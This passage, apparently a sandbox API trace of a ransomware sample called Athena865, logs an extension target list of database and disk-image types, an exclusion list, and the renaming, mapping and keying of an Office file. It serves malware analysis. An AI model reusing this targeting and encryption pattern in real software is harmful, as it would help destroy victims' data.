lpString2="vdi") returned -1 [0149.528] lstrlenW (lpString="vhd") returned 3 [0149.528] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0149.528] lstrlenW (lpString="vhdx") returned 4 [0149.528] lstrcmpiW (lpString1="_DLL", lpString2="vhdx") returned -1 [0149.528] lstrlenW (lpString="avhd") returned 4 [0149.529] lstrcmpiW (lpString1="_DLL", lpString2="avhd") returned -1 [0149.529] lstrlenW (lpString="db") returned 2 [0149.529] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0149.529] lstrlenW (lpString="db2") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0149.529] lstrlenW (lpString="db3") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0149.529] lstrlenW (lpString="dbf") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0149.529] lstrlenW (lpString="mdf") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0149.529] lstrlenW (lpString="mdb") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0149.529] lstrlenW (lpString="sql") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0149.529] lstrlenW (lpString="sqlite") returned 6 [0149.529] lstrcmpiW (lpString1="DX_DLL", lpString2="sqlite") returned -1 [0149.529] lstrlenW (lpString="sqlite3") returned 7 [0149.529] lstrcmpiW (lpString1="IDX_DLL", lpString2="sqlite3") returned -1 [0149.529] lstrlenW (lpString="sqlitedb") returned 8 [0149.529] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sqlitedb") returned -1 [0149.529] lstrlenW (lpString="xml") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0149.529] lstrlenW (lpString="$er") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0149.529] lstrlenW (lpString="4dd") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0149.529] lstrlenW (lpString="4dl") returned 3 [0149.529] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0149.530] lstrlenW (lpString="^^^") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0149.530] lstrlenW (lpString="abs") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0149.530] lstrlenW (lpString="abx") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0149.530] lstrlenW (lpString="accdb") returned 5 [0149.530] lstrcmpiW (lpString1="X_DLL", lpString2="accdb") returned 1 [0149.530] lstrlenW (lpString="accdc") returned 5 [0149.530] lstrcmpiW (lpString1="X_DLL", lpString2="accdc") returned 1 [0149.530] lstrlenW (lpString="accde") returned 5 [0149.530] lstrcmpiW (lpString1="X_DLL", lpString2="accde") returned 1 [0149.530] lstrlenW (lpString="accdr") returned 5 [0149.530] lstrcmpiW (lpString1="X_DLL", lpString2="accdr") returned 1 [0149.530] lstrlenW (lpString="accdt") returned 5 [0149.530] lstrcmpiW (lpString1="X_DLL", lpString2="accdt") returned 1 [0149.530] lstrlenW (lpString="accdw") returned 5 [0149.530] lstrcmpiW (lpString1="X_DLL", lpString2="accdw") returned 1 [0149.530] lstrlenW (lpString="accft") returned 5 [0149.530] lstrcmpiW (lpString1="X_DLL", lpString2="accft") returned 1 [0149.530] lstrlenW (lpString="adb") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.530] lstrlenW (lpString="adb") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.530] lstrlenW (lpString="ade") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0149.530] lstrlenW (lpString="adf") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0149.530] lstrlenW (lpString="adn") returned 3 [0149.530] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0149.531] lstrlenW (lpString="adp") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0149.531] lstrlenW (lpString="alf") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0149.531] lstrlenW (lpString="ask") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0149.531] lstrlenW (lpString="btr") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0149.531] lstrlenW (lpString="cat") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0149.531] lstrlenW (lpString="cdb") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0149.531] lstrlenW (lpString="ckp") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0149.531] lstrlenW (lpString="cma") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0149.531] lstrlenW (lpString="cpd") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0149.531] lstrlenW (lpString="dacpac") returned 6 [0149.531] lstrcmpiW (lpString1="DX_DLL", lpString2="dacpac") returned 1 [0149.531] lstrlenW (lpString="dad") returned 3 [0149.531] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0149.531] lstrlenW (lpString="dadiagrams") returned 10 [0149.531] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="dadiagrams") returned 1 [0149.531] lstrlenW (lpString="daschema") returned 8 [0149.531] lstrcmpiW (lpString1=".IDX_DLL", lpString2="daschema") returned -1 [0149.531] lstrlenW (lpString="db-journal") returned 10 [0149.531] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="db-journal") returned 1 [0149.531] lstrlenW (lpString="db-shm") returned 6 [0149.531] lstrcmpiW (lpString1="DX_DLL", lpString2="db-shm") returned 1 [0149.531] lstrlenW (lpString="db-wal") returned 6 [0149.532] lstrcmpiW (lpString1="DX_DLL", lpString2="db-wal") returned 1 [0149.532] lstrlenW (lpString="dbc") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0149.532] lstrlenW (lpString="dbs") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0149.532] lstrlenW (lpString="dbt") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0149.532] lstrlenW (lpString="dbv") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0149.532] lstrlenW (lpString="dbx") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0149.532] lstrlenW (lpString="dcb") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0149.532] lstrlenW (lpString="dct") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0149.532] lstrlenW (lpString="dcx") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0149.532] lstrlenW (lpString="ddl") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0149.532] lstrlenW (lpString="dlis") returned 4 [0149.532] lstrcmpiW (lpString1="_DLL", lpString2="dlis") returned -1 [0149.532] lstrlenW (lpString="dp1") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0149.532] lstrlenW (lpString="dqy") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0149.532] lstrlenW (lpString="dsk") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0149.532] lstrlenW (lpString="dsn") returned 3 [0149.532] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0149.532] lstrlenW (lpString="dtsx") returned 4 [0149.533] lstrcmpiW (lpString1="_DLL", lpString2="dtsx") returned -1 [0149.533] lstrlenW (lpString="dxl") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0149.533] lstrlenW (lpString="eco") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0149.533] lstrlenW (lpString="ecx") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0149.533] lstrlenW (lpString="edb") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0149.533] lstrlenW (lpString="epim") returned 4 [0149.533] lstrcmpiW (lpString1="_DLL", lpString2="epim") returned -1 [0149.533] lstrlenW (lpString="fcd") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0149.533] lstrlenW (lpString="fdb") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0149.533] lstrlenW (lpString="fic") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0149.533] lstrlenW (lpString="flexolibrary") returned 12 [0149.533] lstrcmpiW (lpString1="REST.IDX_DLL", lpString2="flexolibrary") returned 1 [0149.533] lstrlenW (lpString="fm5") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0149.533] lstrlenW (lpString="fmp") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0149.533] lstrlenW (lpString="fmp12") returned 5 [0149.533] lstrcmpiW (lpString1="X_DLL", lpString2="fmp12") returned 1 [0149.533] lstrlenW (lpString="fmpsl") returned 5 [0149.533] lstrcmpiW (lpString1="X_DLL", lpString2="fmpsl") returned 1 [0149.533] lstrlenW (lpString="fol") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0149.533] lstrlenW (lpString="fp3") returned 3 [0149.533] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0149.534] lstrlenW (lpString="fp4") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0149.534] lstrlenW (lpString="fp5") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0149.534] lstrlenW (lpString="fp7") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0149.534] lstrlenW (lpString="fpt") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0149.534] lstrlenW (lpString="frm") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0149.534] lstrlenW (lpString="gdb") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0149.534] lstrlenW (lpString="gdb") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0149.534] lstrlenW (lpString="grdb") returned 4 [0149.534] lstrcmpiW (lpString1="_DLL", lpString2="grdb") returned -1 [0149.534] lstrlenW (lpString="gwi") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0149.534] lstrlenW (lpString="hdb") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0149.534] lstrlenW (lpString="his") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0149.534] lstrlenW (lpString="ib") returned 2 [0149.534] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0149.534] lstrlenW (lpString="idb") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0149.534] lstrlenW (lpString="ihx") returned 3 [0149.534] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0149.534] lstrlenW (lpString="itdb") returned 4 [0149.534] lstrcmpiW (lpString1="_DLL", lpString2="itdb") returned -1 [0149.535] lstrlenW (lpString="itw") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0149.535] lstrlenW (lpString="jet") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0149.535] lstrlenW (lpString="jtx") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0149.535] lstrlenW (lpString="kdb") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0149.535] lstrlenW (lpString="kexi") returned 4 [0149.535] lstrcmpiW (lpString1="_DLL", lpString2="kexi") returned -1 [0149.535] lstrlenW (lpString="kexic") returned 5 [0149.535] lstrcmpiW (lpString1="X_DLL", lpString2="kexic") returned 1 [0149.535] lstrlenW (lpString="kexis") returned 5 [0149.535] lstrcmpiW (lpString1="X_DLL", lpString2="kexis") returned 1 [0149.535] lstrlenW (lpString="lgc") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0149.535] lstrlenW (lpString="lwx") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0149.535] lstrlenW (lpString="maf") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0149.535] lstrlenW (lpString="maq") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0149.535] lstrlenW (lpString="mar") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0149.535] lstrlenW (lpString="marshal") returned 7 [0149.535] lstrcmpiW (lpString1="IDX_DLL", lpString2="marshal") returned -1 [0149.535] lstrlenW (lpString="mas") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0149.535] lstrlenW (lpString="mav") returned 3 [0149.535] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0149.535] lstrlenW (lpString="maw") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0149.536] lstrlenW (lpString="mdbhtml") returned 7 [0149.536] lstrcmpiW (lpString1="IDX_DLL", lpString2="mdbhtml") returned -1 [0149.536] lstrlenW (lpString="mdn") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0149.536] lstrlenW (lpString="mdt") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0149.536] lstrlenW (lpString="mfd") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0149.536] lstrlenW (lpString="mpd") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0149.536] lstrlenW (lpString="mrg") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0149.536] lstrlenW (lpString="mud") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0149.536] lstrlenW (lpString="mwb") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0149.536] lstrlenW (lpString="myd") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0149.536] lstrlenW (lpString="ndf") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0149.536] lstrlenW (lpString="nnt") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0149.536] lstrlenW (lpString="nrmlib") returned 6 [0149.536] lstrcmpiW (lpString1="DX_DLL", lpString2="nrmlib") returned -1 [0149.536] lstrlenW (lpString="ns2") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0149.536] lstrlenW (lpString="ns3") returned 3 [0149.536] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0149.536] lstrlenW (lpString="ns4") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0149.537] lstrlenW (lpString="nsf") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0149.537] lstrlenW (lpString="nv") returned 2 [0149.537] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0149.537] lstrlenW (lpString="nv2") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0149.537] lstrlenW (lpString="nwdb") returned 4 [0149.537] lstrcmpiW (lpString1="_DLL", lpString2="nwdb") returned -1 [0149.537] lstrlenW (lpString="nyf") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0149.537] lstrlenW (lpString="odb") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0149.537] lstrlenW (lpString="odb") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0149.537] lstrlenW (lpString="oqy") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0149.537] lstrlenW (lpString="ora") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0149.537] lstrlenW (lpString="orx") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0149.537] lstrlenW (lpString="owc") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0149.537] lstrlenW (lpString="p96") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0149.537] lstrlenW (lpString="p97") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0149.537] lstrlenW (lpString="pan") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0149.537] lstrlenW (lpString="pdb") returned 3 [0149.537] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0149.538] lstrlenW (lpString="pdm") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0149.538] lstrlenW (lpString="pnz") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0149.538] lstrlenW (lpString="qry") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0149.538] lstrlenW (lpString="qvd") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0149.538] lstrlenW (lpString="rbf") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0149.538] lstrlenW (lpString="rctd") returned 4 [0149.538] lstrcmpiW (lpString1="_DLL", lpString2="rctd") returned -1 [0149.538] lstrlenW (lpString="rod") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0149.538] lstrlenW (lpString="rodx") returned 4 [0149.538] lstrcmpiW (lpString1="_DLL", lpString2="rodx") returned -1 [0149.538] lstrlenW (lpString="rpd") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0149.538] lstrlenW (lpString="rsd") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0149.538] lstrlenW (lpString="sas7bdat") returned 8 [0149.538] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sas7bdat") returned -1 [0149.538] lstrlenW (lpString="sbf") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0149.538] lstrlenW (lpString="scx") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0149.538] lstrlenW (lpString="sdb") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0149.538] lstrlenW (lpString="sdc") returned 3 [0149.538] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0149.539] lstrlenW (lpString="sdf") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0149.539] lstrlenW (lpString="sis") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0149.539] lstrlenW (lpString="spq") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0149.539] lstrlenW (lpString="te") returned 2 [0149.539] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0149.539] lstrlenW (lpString="teacher") returned 7 [0149.539] lstrcmpiW (lpString1="IDX_DLL", lpString2="teacher") returned -1 [0149.539] lstrlenW (lpString="tmd") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0149.539] lstrlenW (lpString="tps") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0149.539] lstrlenW (lpString="trc") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0149.539] lstrlenW (lpString="trc") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0149.539] lstrlenW (lpString="trm") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0149.539] lstrlenW (lpString="udb") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0149.539] lstrlenW (lpString="udl") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0149.539] lstrlenW (lpString="usr") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0149.539] lstrlenW (lpString="v12") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0149.539] lstrlenW (lpString="vis") returned 3 [0149.539] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0149.539] lstrlenW (lpString="vpd") returned 3 [0149.540] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0149.540] lstrlenW (lpString="vvv") returned 3 [0149.540] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0149.540] lstrlenW (lpString="wdb") returned 3 [0149.540] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0149.540] lstrlenW (lpString="wmdb") returned 4 [0149.540] lstrcmpiW (lpString1="_DLL", lpString2="wmdb") returned -1 [0149.540] lstrlenW (lpString="wrk") returned 3 [0149.540] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0149.540] lstrlenW (lpString="xdb") returned 3 [0149.540] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0149.540] lstrlenW (lpString="xld") returned 3 [0149.540] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0149.540] lstrlenW (lpString="xmlff") returned 5 [0149.540] lstrcmpiW (lpString1="X_DLL", lpString2="xmlff") returned -1 [0149.540] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.Athena865") returned 77 [0149.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0149.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.542] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=614784) returned 1 [0149.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.542] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.543] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.543] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.543] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x96480, lpName=0x0) returned 0x17c [0149.553] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x96480) returned 0x2bb0000 [0149.585] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.586] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.586] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.587] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0149.592] CloseHandle (hObject=0x17c) returned 1 [0149.592] CloseHandle (hObject=0x154) returned 1 [0149.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.595] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wxpr.dll", cAlternateFileName="")) returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2=".") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="..") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="windows") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="bootmgr") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="temp") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="pagefile.sys") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="boot") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="ids.txt") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="ntuser.dat") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="perflogs") returned 1 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2="MSBuild") returned 1 [0149.595] lstrlenW (lpString="wxpr.dll") returned 8 [0149.595] lstrcpyW (in: lpString1=0x241e8a8, lpString2="wxpr.dll" | out: lpString1="wxpr.dll") returned="wxpr.dll" [0149.595] lstrlenW (lpString="wxpr.dll") returned 8 [0149.595] lstrlenW (lpString="Athena865") returned 9 [0149.595] lstrlenW (lpString=".dll") returned 4 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2=".dll") returned 1 [0149.595] lstrlenW (lpString=".lnk") returned 4 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2=".lnk") returned 1 [0149.595] lstrlenW (lpString=".ini") returned 4 [0149.595] lstrcmpiW (lpString1="wxpr.dll", lpString2=".ini") returned 1 [0149.595] lstrlenW (lpString=".sys") returned 4 [0149.595] lstrcmpiW (lpString1="wxpr.dll", 